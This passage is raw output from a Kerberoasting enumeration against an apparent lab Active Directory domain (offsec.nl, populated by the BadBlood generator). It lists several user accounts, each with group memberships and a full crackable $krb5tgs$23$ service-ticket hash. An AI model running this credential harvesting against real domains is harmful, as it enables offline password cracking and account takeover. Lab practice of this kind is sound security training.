10:04:41 AM lastLogonTimestamp : $krb5tgs$23$*DARRIN_MCINTYRE$offsec.nl$https/SECWWKS1000000*$CA5EAE4A2B0A02F503B9098950B32B1F$921D579F47E79CC1AB34BDCA1D6D95FFFD16B8BB56537ECDEBE0A1F24F11FD2E43DDFAF78535E683F771E6A45DE58E96A059039F5F522B3E1A40437648574E222066403E8CCD82790275D59709C5279A5CBD28F5976D7A8685B0419CB58D1D737B0CD88852D39D2DBB74075595E49D36B228F9DBC2CFE5AAC08E6E0F8A11766A857DD4B5C9650AA529FB4A4130FF4721F56CE4963037D34FF030063843D3530DABCD1A865E0B4E0692CD13A6562F12BB09A4868F6D61675AA265438DCE8F9E2227C787D690650DB1EF49C06F5084677A2156673891D03233C36D7DBA31E7A2103CB30921BD0EA2DE748DC7B9E164D6B3CD1D5E2FA47F94602A76C6850616D9A285902A15D76A960F812533054D426F4C6E20B5A54462400A227D16E32D10F6B036047EAAB8037F68F09233754EA69911614B2723177F1379C302BE0333CC61F7CDF27BAB2D9363EAFA3B9D19279BC4DC6A396117F0ABC9A004AF57D1018D6F3FB77F8D22AA53981A8F4CF182E05A1AD29F3D7036C360AFC3722B4CB52CCE72165D33CEF7A020C871C3A169B15932DD6445F2721238E1559E9552B7E1CB724D78ADBBD3520356DC1BF145546B04AE403159D73453A7445BDF4888A38043F1ED7E60D36C3CD626A929B3215A2CBCADB45EB2184C76170F967F1048D0D6135963F7F46F842D853B63DC888EB1861EE0DF359A4F4078C3555CF5BC3B3CF34E1EBE2E1B7E653CC14B07E6FB4A181E69D023E6FA52197714FB39B6479A0F420ED52D112628B59C41A4C550F5AF064789679391F3148D74A5FC9EC126D5627956A186D45EC6EE0ED1FF4D67A114A8217218A23B870BDE1A76D5BDE0DB91E1AE6AA6F3E04826D4A8F75E5F9998517443FD7E0C43D7C44369AF9B41E0AF0E5E3BAE24EECCEEC81C6DA8294DF12295172B0593BF8302D0464CFD8A976D40C87F547DD8D8F064375FDF60E6DEF71FA2B9E721E6FE8F632EF6CC9600C405C2F3775011F39D9D21F972741A4D9C7A008C6B60B42CE0D3D720B43464BA0B2F267CB6515D1676AA58D80C42DEE88ACB144BB41392F3F2615B1301545492FC3E3706CF417FEC33E72EC01E970C439A92DD440B5B5CCC9DF4DBD949E2F68BD37EF3F338885E067F9A69E1EE89B1FBEE72061ED0A6BFC95959E62F1BE937ECA1E4199EAB5AEBBFC4D848DA180370BF65C636D9E9535057BC79A7D150FA43FA4FC9BDBA02F1D385EF669BA8A07D928ED4799B26AB9C17C34C8C10D11F64ADE1CF2D943124D4DDFFD30D28CEB37452513E57B112EB843B03AF2B3DE45090A9C6346A986DAD93E580AFE0094DB0D1A2D97B9CD0BCD4F6C33A9A5DF5B842CD15B8D361A579A97021DCFE15B7A433EA92C419D1F8F7D13667644D368286169D35C8657D28F72865729071EE8FC99C2EB6F3AE4250A477E5C6F45A64591E Searching for Kerberoastable Users - Details for User 'GINO_MERCADO': sAMAccountName : GINO_MERCADO userPrincipalName : GINO_MERCADO@offsec.nl distinguishedName : CN=GINO_MERCADO,OU=.SecFrame.com,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2745 userAccountControl : NORMAL_ACCOUNT memberOf : CN=KI-nis-admingroup1,OU=Groups,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=TA-primerave-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=DO-per-admingroup1,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=FR-angel_070-distlist1,OU=Test,OU=OGC,OU=Tier 2,DC=offsec,DC=nl CN=KA-212-distlist1,OU=People,DC=offsec,DC=nl CN=TR-360213848-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:22 AM lastLogonTimestamp : $krb5tgs$23$*GINO_MERCADO$offsec.nl$kafka/AWSWAPPS1000000*$2C8970B191AD745A4A9EDC69F75370C2$D1FFEB2250EAD1B5E3F9D9B9DBB05453AE6D683ED43D937AA192B2936C23540B0857F6BFE5CD17830032645F78B7AF9F8A22DF2791A3C1D714B64F01040D8F230F7EB0F87192A00F13B294D9BA806CCCFAB61736ED328D6D94B6A6885295962E4A4B194EB2816BC72FE74FEA82AD336E6FA6F2B957186DA013986F3557BDBA658A43950984282F8B77C560F9C26C2C9CB0D76EC1F7A435F44727E60B95EE78F8EF8616A39ABBEFCD68C546C37BCC6B48CC7B35C146CC3C2C770C4183FD3427995503423C1E40014C142D361D318595A2DB8960995296F280E48BB340D8862F185E09208D6303340D63EACBE85226F12DFE17B82C864389CADE30B4ACD537C26AAF28161C45FF54AAE6B66ED43765AA0C8BF7DECE15A665A629992CD6696039665A1ED6DD88AC24E11257A952B656461E2D480729897D1D5D12397F57C93D26F5F5088458EEF0801B309DB61E3435D251C7B3470F226EF4D56115CB9F8170F2EFE640546DFD6FAB4E8565E2DA13ED311F2C230BC604185E00D0934F2E1C340E7A7EBA8B9A4160146E6F513708C1D8F88BAEB25B7A9EC18E7F5C4DEED41E95CADCE75FCD89AAD88099849D3A0465224F2DEEDD9F360800682DFB3D1D86DCC3583C2838D50D8CA4F6558BEB1717A9FE88CE877D90D7BAB114D3E1FB7C4A6A4612B503D1BD82847B8A2680D66438ACB8D92970DB976D3DFF8EE2977C9184CC3C72B00E927B6136814CF8B60D6AB268EABE8225ABC9EBA806FE7E6A29A85B1C7DDE4F3588D48EA3B6BDD4910E9C1F03A5CA9320419E106CF3F77F5B9B4BE24336276EA629F8D68516CC249549F82D3356E4854CDBA51055C5EEC3C67168F406F9D0FCBB71C72C349D1496C18DA7E4093888E15298087F07A98942CE26E144E208644162187B32E44E962036B8B147C0B1D5D0EAF55EA1C4A9B54F84A5E921739090FD125F1F8D5A294CED31640CC563CAB3A3537BF52DDCD066A13AF86B49ECC3BB7D70D65CCCB270FD883121680EA17AC0CB81BBB6665159862BD1061DFCA81DBC16B7D5F9F726156B19EC1E054EAD63A852B8FC98C51D6C89ACA421A58824E7C2632AF60EC909C09FB709A30B668AE393A5BE1F5866FEB249D561ED7E42544EC05963E247FD8E138FCF1034F7B7D04648B284204FC67A9CCB61FEC19CE987DCF2E9341BF79D28F01285927D50F747980F8A0C3300EC89A506236C87574F2BB2B27966B614C9DB28A783C6F2131D29E67121C6D7A7EEA9B74D9237587ABC2E99E51E047856E628F3AE5AF9060C6D75EF39F476EBD743B5DDE4C4389D0F6876B7397DA55FA3BEF1BC60141BB9D20BF03E86A19C14DD5C0408FC33F510D5FECCECB16C9DA6A6EE0AFF486FBDA9375DFF8EC9DC43E9F76F03805F9119CC492D3EFF77B4792AFCF9AD56047DE63BB465B13FFE15BEF5 Searching for Kerberoastable Users - Details for User 'ROLLAND_BRYAN': sAMAccountName : ROLLAND_BRYAN userPrincipalName : ROLLAND_BRYAN@offsec.nl distinguishedName : CN=ROLLAND_BRYAN,OU=Groups,OU=TST,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1510 userAccountControl : NORMAL_ACCOUNT memberOf : CN=JU-estilista-distlist1,OU=Groups,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=LE-soloparat-distlist1,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=51-f44-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=AP-a12-admingroup1,OU=Stage,DC=offsec,DC=nl CN=AV-317-distlist1,OU=T1-Servers,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=HO-803-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=GE-wie-distlist1,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=CO-com-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=DA-mar-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:36 AM lastLogonTimestamp : $krb5tgs$23$*ROLLAND_BRYAN$offsec.nl$kafka/BDEWWKS1000002*$104C2A396036E9F385CF9C179F461426$E44343B773A19D46C864EB356BC5CE084880387F231F32C7EC01F93A84DA1BB44206B97AD0771F915BAD6F01D36C11D054612667CD260AB4CAAF8873689D08260C18B58ACC2508506D93B6440FAE891EB860F721F90C9E7568C47CE770727C369861A9D7CA2BA894D863FD566BE89471360B1BBDF1DB57C97F9F9788936AF262C9CEC7D3834B1D849C36C917306601F132E33ACD8B1056E75A30FB913771BDE52571BF6AE3152D85F9D97C3168FC2B90BFB45964D95C066BFACBEA6D3A348035CD57BE9F9D23436996F9E529F48568ED5A38316B4BC147335B9523BB23A6153201312B8A077408508640CFF90410E8179275FAF7133E875E90C3B98DA1C2DE3332555FF36EDDD97A07A603B1F948C47CEBE4BF37DD4B326120CF33083C7CD88617B1948083AE170ABE4AE72D6C6204904705110173190C84D6AF8D934688B29B84C8B0F058883A1F259D85CF03F254EBE081DB1D231607D29E4B4302632C015A01A6ECC7EC6C20F6570EA9F55B5B76CEFCECB9BD4105F3EE47A9A4F69828CFB8C236D2E9028B0428CA62193F6CC0C9337FCE55307664A2BAB87379C97712FD12C39F4C67187BB81CC341E3963B9DDC9D807BB893EA3C5F4B9E1D8C41427EC57F7D39576823D44E73C63357DCBB97197DD3AA45A5AE614F50B38F8E882E5E58E42545B137A760610142FC55694475A69C1E2E4DEFDB36E5BE69E48A5DB47A653E1AB1512560D3FFB0F81C3D70BF2D5D00177D09E6D9CBB9FA5C251E6E82196A3479B08C5B727EC47EB27C0E0E4D54A7D03E330E0588B4B94E8160CC7F4630640A8041F43CE50ED0D92BB54A6BC4DA1EAC204AB17396A9883CAEE9F1E7CE88B7A1B6DADEA5E3B73FE258213617B424F4B636EC95EBB0B77D75102999B4BBA445DBFCDBA8880683FBBF201AFD9814960DA0C381C937E486D22A9E8B969A45313A4B459BB5CAA66D9B931480B5A9D75F55F1E2E3722007ACD8B5C2A8A1EF4F849B80485D451E6C32067F048AFDE7D4A8DF72835FEFF16BF847AC2D72995FFA4E33CE09C52CC9D2B26FE73C706BA4CA54A579B063AF330BF42F96209CA33D2D1985E50CB17DF4360B547015E96CE016A2C21907001E8B7177C9AE38DA4674A3C266FDC81EAABB963A69A421F484A086604D142C5BBFECD6375E1097BEE3DF05F355976C210EEA6E59F8CDE951F6B313372CCEFE479A31D73A3AE6D1A54BB179D582ABABDE9AEEDD5AFB2613B6AD8CE60C0EA9D8078BC42AD3D41A60682B1BF4340E1B94D0207D4A3620AFB0F7060CF368DE7A1E7A25238C9E9E3347DC0EAF56B0B5A85DACE87C8134830B5D31324E7F41B5FD2D46D124F3462E35F45183B5A2DC8F277DAF9A80F52C016DD8D776BB0D17D2F5F104A242879468A46B736BF36263D77303B6C216B8061CC99034F2F0B2E17F2DDB0A Searching for Kerberoastable Users - Details for User 'DENIS_FARRELL': sAMAccountName : DENIS_FARRELL userPrincipalName : DENIS_FARRELL@offsec.nl distinguishedName : CN=DENIS_FARRELL,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1503 userAccountControl : NORMAL_ACCOUNT memberOf : CN=SE-iro-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=BO-rat-distlist1,OU=TST,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:00:35 AM lastLogonTimestamp : $krb5tgs$23$*DENIS_FARRELL$offsec.nl$kafka/ESMWAPPS1000000*$7B8AF1AB4CE54D48B6F59B7F0F9BBB3C$395C2DA59BE11AE81DEEC7D7C1A45F0D51E2A232E518904B19600D24B4FBF3591A1F7F98C4C1AE93831BDB9130AFF5A63233520A3E7E27F18B5DF622A8703FC7606792F5975286B25B24DA57E60DA4AF029585C20E4A2E78DB720514ED82914C231F7073D6AD819AFE85AA6773EDCC4B84D2D81DD2EE3EA8562D552199AD85B6EC0DDC2F5210152A0907A635BAF6AF91C708C05880785A23BCB1DDDAC97004599345573C8616DDD6CA2BE7524678C5837CCF098BD8AF216DE4341586F9F43F1CA4255E3C7CB863F89056287EEEF9B2A057C60A1FFC48554538A521879A90226410AC8A956CB4BCEDB410E25FBE5A18245C43876B6CEF8BCE870A61D792502BC19CA14730B4758B7D9B5C534895F4E1C7D10725594937897A78DB0E72A8158F18A7C7872ADE0D381245E011ECC0FDA8CC028CF130887F9719CF460F6906F0A5553CEBCBA61A24E2AF0AC3509FBC4770B442BC252228142401F08DCF9E0466D4E254569B66F8058AA9A7BA04A9BB02078FEAD15AE5848937E91F022CC8D1EA4FCF19B06C4CA4CE759D2F39838B042579D3FDA9BF699056857A3A8E10932F67F68FC476AEE40C6D07C6BDA3189ACB250A9694470C7F0A5D6DE25409B91EAD030F3EC180085B1182122BE8D4D22074619C9127E4C10F19A89BB2472387A3DAB7FBA9D08D2E33C535522E458510CAA3A9E8F65EDDE6C95143DF242BE8BE7648B3A14A88424034B023D2ED7AFFF040103E167ACA5804F6D30273021B1DBFA6DBB92B7B9E817159093B0099CB59A6016456B937C27D102B69B5A5F2D8387DD8141BD254421D3315BC47BB49E35984A9F145375A82E6F7EE8CDF2E989CCF611DCFA94F6D54ACB6D4DE7E20132BC68A14EC284DA1B6AE818D5EE8D2410F5869F625161F544C3399266AA7ADBF32C510C3D6F268F212ECD9B9F190796EA9368A3F31722FAB0789F003804F52932677799EE3A540593DEDEF486076A3EA73180AE1D92F639F5CA1FDB62A5C7CB01FF51EE94DE52EB34CDB140CDE8E1B38A209079017BD7F3E6C7F82067BEEA1D9001B2D3FE0883CD939949404A4D78D5B60489503EA0C74AFE193FF720FFD68F80DEE2F374D496477FC60C1812026FF07165B00DD77306FEAAE0907E2729011EC992FD3F772E2C21D3D40906142738158C2B4185D623D647AD28F124779BC859835971FB644C4F112E9F91630E04BE4005D27104876CCDDF2CC88037F1FF91BF95471AA5CAD0E9E76CFC908C9FD5142636B21A4CE8582BBF7ABFE1D32F0BDF2CC4313DCD76772AAD5AA97AEA7B9583814DA132035DF30F68E51F953B121FF3206FAB15C5AB47D8C0066EE9B3A2743837133A196103BBC8C9241FF5304C5D5BFD6D57E7C2C88F2725B29F9C1FCF45DEE5FF8EB381EF405E93C15350DF3049507E33451968ABFA170663241 Searching for Kerberoastable Users - Details for User 'KENNITH_MCDOWELL': sAMAccountName : KENNITH_MCDOWELL userPrincipalName : KENNITH_MCDOWELL@offsec.nl distinguishedName : CN=KENNITH_MCDOWELL,OU=SEC,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3432 userAccountControl : NORMAL_ACCOUNT memberOf : CN=AN-eskorbuti-distlist1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=TH-ambulance-admingroup1,OU=GOO,OU=People,DC=offsec,DC=nl CN=WA-sirenita6-distlist1,OU=Devices,OU=GOO,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:01 AM lastLogonTimestamp : $krb5tgs$23$*KENNITH_MCDOWELL$offsec.nl$kafka/ESMWWKS1000000*$3B6339E7A724DE382695AF7737ECE658$40F3FF4D96B55509748B13E6E5F91D3BBB6FEA33E3F791776FBC91411EC66373931FEB6A6E42658237D7ED8AA28721A284B32573BDB8B39DC32CDDF05E4DCFEF4363CC3727B9DE63914599027C99B55B1112CDF2C6C19E5D7804573126F8A4A534538CBE3631FE7297BA4FC13E790DEB1650CE5B25DFDB9455A60A24FAF633A4AE3824BDA0EC0FEE38D2D270086DCB63D5169D7A41B5C83FE76AC7BC36A612563F51FF86E8CD5EAF7F7FEBDE912ABE9479E89FA9DE4D44C4CD281E8548FE999DA1B82D3ACE6E13E0D99FE38AA4D8DA923E61E974C0DA55406727A7A95DEDD2F3574C57E4F7CA2ACCCDF99CF5C9179B962163355E3B3E0D0A56C43DA37BBF0FD5D6978FA44F23B3C75838D0EBA76A4200096320EE3C4D831A33F64EBFE9B3C5C938E6DEB4B230FADAA86974D115849D7DCE6AF43344EB77289BE7F0D77EE0884EEF7EEDF8FD7346050873C460F57432F19D512FCD80D9296BD23DEDBE6C5E0C9D7B30C292E4C882CA08C92E3BEAB621917AF13BC8D1AE1F0191F14462278D5BF6BA293541E6BD53C2DCDD3EDCCC49F9E26CAD28F90380A07E5A4BBEE6B0C20EE4DCAFDB5F370C3E70BD333DAAB495EAC6F3127B44C2193961D64DDC8F6BFE12B1786D31D5133700F9B278A1E78889E4C032B09DFEBBC08CDCA4645D2187C06FE39D2D37C93055E886F96314B002C808B7907E3580FA2F9C804832D99B4B21503642597BD3A305B035ADD3766B7F8C67597535EE5DA2E544D4696A7D3EF8E887446CE7D2C4AFB4F8C6E238C24597E3EF67A83FA1860BB4459F353C32A2A2E31113069DA1FF93478A8E9122B1BDC71760542B198834159C2EE403D05FE314C81CA257B6753063768957529E8D68C67D9399333EC02D1405D92EB297F4E92DA7C087E7AF610C916160B84907C8C2C4213D3BC84E0EC4EDC9D4F11D3E677910136304E09255C95B7B0E5B4A7ED1A90363AAEBDF4A1304C3D96AC95698F7273B10C91E6BEDE7C07E5909D14139BB2F991CDA54175F411C87A867611E8478C7EBC4E3672930863D15C239C215B4B692A924EADA7114AC21ADE580BFA92718ADB7C0278F6E8CE69372684338AB3FA26576E76F32281224468052CA89F393A1B8C0A297C9F25FDDD4C13487DA65342A1A42D7FB70A81B90F0373D2FE6F74E9E97C734E1BB1DA509D4DA26901C62556CE8579B056EBEAC1EDB4F3A87B756467A393B5A3E5F9BBBC57EE8DB5E79A5BE339CAB92B820B0FBE94BA47A14F83B3710AA2F18A06A8B2CE4D0CED4D80512AFEBE47B5C4D657603EFBD8587C82F7D9120891C7558CFC3B94B82F080D5CE67F2B142B055BE3A49E2D17AEF6114DBF88738378C2C160A59A84443A939658B5B38D2D3974514286CC090EC911405C05B4A1F310D36E9EC12B7D4C9F5890C4BF51EBF37468F7845EA1B Searching for Kerberoastable Users - Details for User 'KIMBERLEY_RODRIGUEZ': sAMAccountName : KIMBERLEY_RODRIGUEZ userPrincipalName : KIMBERLEY_RODRIGUEZ@offsec.nl distinguishedName : CN=KIMBERLEY_RODRIGUEZ,OU=T2-Accounts,OU=Tier 2,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1993 userAccountControl : NORMAL_ACCOUNT memberOf : CN=PE-sex-distlist1,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=JA-han-distlist1,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=HA-pun-distlist1,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=offsec,DC=nl CN=JA-2112_andy-distlist1,OU=ServiceAccounts,OU=AZR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:02:28 AM lastLogonTimestamp : $krb5tgs$23$*KIMBERLEY_RODRIGUEZ$offsec.nl$kafka/GOOWSECS1000000*$195C437949D5F437D8A068B39AE852D5$380B1AE71F4724D1D99BECC6A679DF3A13F3FE82BDE5D7FF0C8215A6A79FFAAEA797F45A12A17C178C7926F612F21B18A25D4A375AAEAD748BA8AAA7E431A2D34672C69180AED3F7990094E02FB97889E92254887E230988383D57EE02A1398CC17569A349B3AB68126909A93957421E121414A8217E0F011E94C3DCBA353CE1497184437F9BC52358D1DA111C6AB442210AE51BBF0774BBA68BBC6460EE415A69EB65437AD8E842BF94690E3C959304B3D04CDE3ADDED614F07298D2BA4C971D8DF1D4D9A728F9705DF0111872A5426F0BF4CAF6C68F34028DE8756F9459D3469966D50E2729BAC55E141ADAA632EA08AC74F40C7B8AF16543782928BB5187005113E01CBB7569C27C296A2966C062CEE8D6B9AD126FE26CC697F11B03F60A77330E81202387BC42403B5D57C6B9652B6C99D1B9AB5AF7234FBF757ABA3E0CBEC2FCEE740B9193F5FBC0B8F1096666EAF3CA6AA3B2BC9B945C67148B5919BEED949A2D78214F8567390789E77478C36734831A1969D397E59944C912A6FD0CDE014441180325E0D768D6DEA1FF09F5F6C7498D2659FC9D395D6CFE47C830F03112CDDC39E03D99F0766126B3AAED0A7CB3082635CF972E9947EAE8E1C92E60242D4D430A7E1F89DC42BA1FA452091DB13C6AE7B49147556208362FB80410421509F2E09068CAD9968E6C68048C0192D1ED3E03019ACD7726F0A8D280F35165318A00A847524AF924F6B56061135F021EF929D0FE3F90F7DB752626618CD6C4C1504379A2377F19FBA3C680EE66C445D547CF719133F09856163B14DE4BF10EC4E6407A5A44A775B7C7FB3A4579048BC10F351E3C9D9350E0F1B1F0852F6B059F36E33964C261707F32EC5944BF00964BF355C5F6955449274AC2D9E4089ED6C95D0B4BC1F57D68FDFE90BA14049C143154264D786845E78B7A6FA457CADF57DFA20DD88593C90947B64C1C2BFD5EFC656FD727AF1925E1EE9D7906C11FEE773A5C6AAB35C87FBB029478D481B488E480C585034E4752E7903EF789CA1CAA8D919B19CA74B6DE1FA5208A8449D9CFE4F53A892D9DAF9184401B0A7A7C7CA040FFCB3A3EF4AE70ED55E47A7646E5586667E1ECCFF711261EC20D7ABB6897808644E07228EA1674DAFBFEEBE949E0A793A2B72AEB3F1418C6926CC2B36CC8CAEC9E99FF54A48FB3E2EB5379005EC2985E889551CCC699304CC81DBE6A02EB4A4EA9EF24A24B88C763E0E3710677C6F428B5B657AE2BE752E4582EA24C075E945830BD1664777C71BB65A39611E493F5BAD8ACD2488F80678D355B37924D9AE23A26A193917EF0F5CC5FAFA4EF77915323A63591030BCA2BBD9586214C1F1D9DC3712C64AEBF7DBCCB2D0307278A175AC752C3FC1B90FD884005A7098F212F7438E2925D0F569AAFE90482AF939D7BF5F95ADEE Searching for Kerberoastable Users - Details for User 'RUSSELL_HOGAN': sAMAccountName : RUSSELL_HOGAN userPrincipalName : RUSSELL_HOGAN@offsec.nl distinguishedName : CN=RUSSELL_HOGAN,OU=Test,OU=FIN,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2199 userAccountControl : NORMAL_ACCOUNT memberOf : CN=DU-131-admingroup1,OU=Groups,OU=TST,OU=Stage,DC=offsec,DC=nl CN=TA-ame-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=MA-pendejada-admingroup1,OU=Quarantine,DC=offsec,DC=nl CN=DE-err-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=DA-mar-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=NE-maurosilv-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=DE-radcliffe-distlist1,OU=Test,OU=BDE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:03:16 AM lastLogonTimestamp : $krb5tgs$23$*RUSSELL_HOGAN$offsec.nl$kafka/OGCWLPT1000000*$AC20E5A0B202E048E18CBE9EED8DE168$4F0547DCB3A884E7B57D8051FDCEB4662DA0B4037EB337020CBFAC241E9213AD59CD03FBEFD11C39F35ABC3194FDA0DF063D591AEE28E9686EE80070C1246BC055E49C6F7C3BC4BC3CEEA4D2D7DD721B83CDE05218E5593A14B4DCB5C30762D34B67EBF0C467A5DBCA336B289F673A945E5CEBBE6B92FA64BE50008B7188C40C76DC570077E8C3ABB888D20F1E8C40C71E00974D916DAE4DE55568329035098CB103D3BB53D11FD1F2F7A7984CB869CD7AF0B0580F1FE7195A21291576A6C31C8B57F652ED2454384518F8961129D7C7B655E53261E163FC746994B80C6A37741C7BF1170D94486948C0699CB391EAF07FFA186266F9A85294D572A80779732D88E9A2BB7FF8F2EDB91E00930B8495D9635340ADC06A7275D8AAAE58650138A7B9F7112852A733B2DE3B562A8A6F0DD8A38692A3711A38D844EFEC4B999BD3BAA33631076FD906649E736299C71311D6A981B4545811427846B3727FB5362EED90224277B935A41B86225D53BE702D086FAAA82A5EA60B0104D75E703E8D598B87C052D56DB087E26B2B5038678564B44446B68FC1C08936F14512DF4EA27ACAC5BB1A2583C62951579D4F22DF643DA72BCEBDA816C2B2203089A66E8180A7B3F0C0E30C1CD2333067201A18BC6EC20A79441B8D4E461BCD2238B5D30F57F12D8B3148D2A8D6A5DF2EF5A9FC23B245681F12A423D6F480CC7B3D5D92C43C8F696D71153365AB5DAF854BB6E5D71095E41CA1569DD27582842731B68986BFC6E8B11DEDF4C66CF5685899EFBF97274830E58911BFEE910C2E2C8D1282B5B7A0FC2D375BA27198711376AFBB0CD31BDEF9F08980A1A490D54A59F41324CB6BE45E6542C42233CBB1C6A1739C01CF76F450C1231296274FC88BD66825DC963BAF4D7A00EE0DE74875F61C52FDA20B3A52BE48AB9974198BFA6E3EBA3E6092FF9AAE1583D3EA60EE043BE5F8BB347C797151E77A34794CF1C01CA134B48A388001ED3A99112CB20A516BEE0DA157A39FDC29D5EED70CC174783861D43037724345313BED6E9A6A955CE508E8668B83F6CE27BCF2ADAF4E52DF2BE044647FFDC770AD5F1B1C79F1C6F0FAE50DF984775552AC91B546E6B54FD1F8971CB381FCAC0E080BE16A154A8C41DC53676B6A60F6063330A0E7EE807E0EA18BE57EBF9FEC801EF17854485C894317C8DDC77A7E216AB11F4F0066DC61A048573DF9AA7F96BD82F3132DFB73B39AF911FB0974B9D6701B929492771F43B9C06E9CCB5B8DC3D0F98E771E0C6199541810C582FD5E09AFAB250E7AE063D19925F9AA635AFD2CAFEA631ECA07CAB668D4FC07B20F4622EFB818E9D8E20F8DCE63E56C9F7C706025AF45371BD0D304F4B661568F72A5DCED1C5386F9FEB638DAFCBA9060A4EC1C81A60093815CAA0D39B8A3733D21C901558EB135 Searching for Kerberoastable Users - Details for User 'AUBREY_JARVIS': sAMAccountName : AUBREY_JARVIS userPrincipalName : AUBREY_JARVIS@offsec.nl distinguishedName : CN=AUBREY_JARVIS,OU=ESM,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2812 userAccountControl : NORMAL_ACCOUNT memberOf : CN=CL-abr-distlist1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=OC-seguimosa-distlist1,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=GA-9fe-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=MA-aun-distlist1,OU=T2-Permissions,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=IL-jai-admingroup1,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl CN=GR-monsepepe-distlist1,OU=Devices,OU=ITS,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:37 AM lastLogonTimestamp : $krb5tgs$23$*AUBREY_JARVIS$offsec.nl$kafka/OGCWWKS1000000*$87F1FA347CCB64D5A113C58FB16B5182$A8F9D64E1F985A132CE1F4D38A7687C6926E4F72EB902A8F7B08FFFD519D4AFC5924A0EEA22A353EECE40CE31B5D15B3FD6AF12D8C0262AA3E81CED636226695A88B066FE93A4C247C2C940A05F583EB24F945F01F93892769B08706118309F38E10F65D76BCD53C0E91E2563D52A870D98A7867E8F527A850EFCE40974F4D868DBA77837E49258F0FA9598B9FE6572F34B371E75F9A9FA6718005659E9D15C0A4CEE2F5D3C1A136EF2E1F7310234A418208670B805194783E5B792E0249AF775CF995E277D38604A17D64A45E04100CC031401C388CDCD97F59520FC6FF82E6F77DCC5890D175858574E9574F3B7EBF5976102E27D01660150DD092838940AED28CB8268A1FD02B3C133BABC6D235CEFD1FF9677A7BAA5ABA40677814A202F745878E1BD6FC1DADF38CB6B1A92B548637FECC434AAF5AE178AF71EBF42EA6E22B2D947974D65A9380E3598B0F87ED3F169689BB381893260C408136FBCED15F69952DBE65E1E136247BED302947198616474C09A52C1E3B0ABD5E21C24ACA6A454D28581670F51F07EB8F2B60C05EF13D5833696382C5A423A37EAE745339B05087A8C18618B3ADEC00A0D67E6C9B6FE2B71E2D67C5746C01615711E399737DAF9BBB672847293050B4BFD692EF6B6DB627492C5D2695F809101BA145308F7BCC4C18B903A206CCED5A0F40549D96E511EB4B887C075B3243C890B14A2E6083444A1BA511484D9B1967399C7DBFB2316C322E5AB5FC0FD4890A60E6F8930824839DA01E026623F9504D409DD2BA3CFBDD79846BD53978812B18FECC8DCBD733EB12D01F04F190B6BAAC17F531629D9AEE1523856ACBFAB50DE5C4CE7EAAC0F633D57C9FBCEA44C3F69AF32BB26772BE645E5A3AB94BDBBF393D6BCC3DC1091EA3351D011E6589EDC6FE03C2283FF41B956ABCE792CB58DD1CFFDDE694FB25D6BFC1E1EC731CE43744A34DE9F99D7E4F1CA0BC8B693D3FAFC322CE40B80C4761CFE2FC91B5FB72F3B461B0DEC458316E97759DA3017D783327CE5884A3D735EE1A234F9B057E95EBB70C4300FAC3EA1236A17C53308D4CAA23837BED32858C7E2E9098A81D436792CD97D6B2C252C56855C47ECCB2FA60A5831512AE2864F137B5B672707CA2C64AC8CA2ED1D1CD7AB6BB79A0CA25458F1A9B98D8DC42CE727A8323BFD17121E3FE0C0E7B13E6021B5B8A9F0D60442A44F09489C3188F22956487197E5121B31F1C63594E8EF619AE3337D4338077D9A894B5058320A4252D3B14C40D822670F8C2A3322B04000AFF07939B9162B313A239A505BBFEC844346AAAD21E4029E8D0B8C865A400722DDB11136672BA484F55C3024E7A0B6D1801C127C5C7AD571A71F8921D55D3E5D67E0989E77AF6492DE134A71A5E40D259D63481D76766EA39CB1F2326F753578768EC468D Searching for Kerberoastable Users - Details for User 'JACKLYN_FULLER': sAMAccountName : JACKLYN_FULLER userPrincipalName : 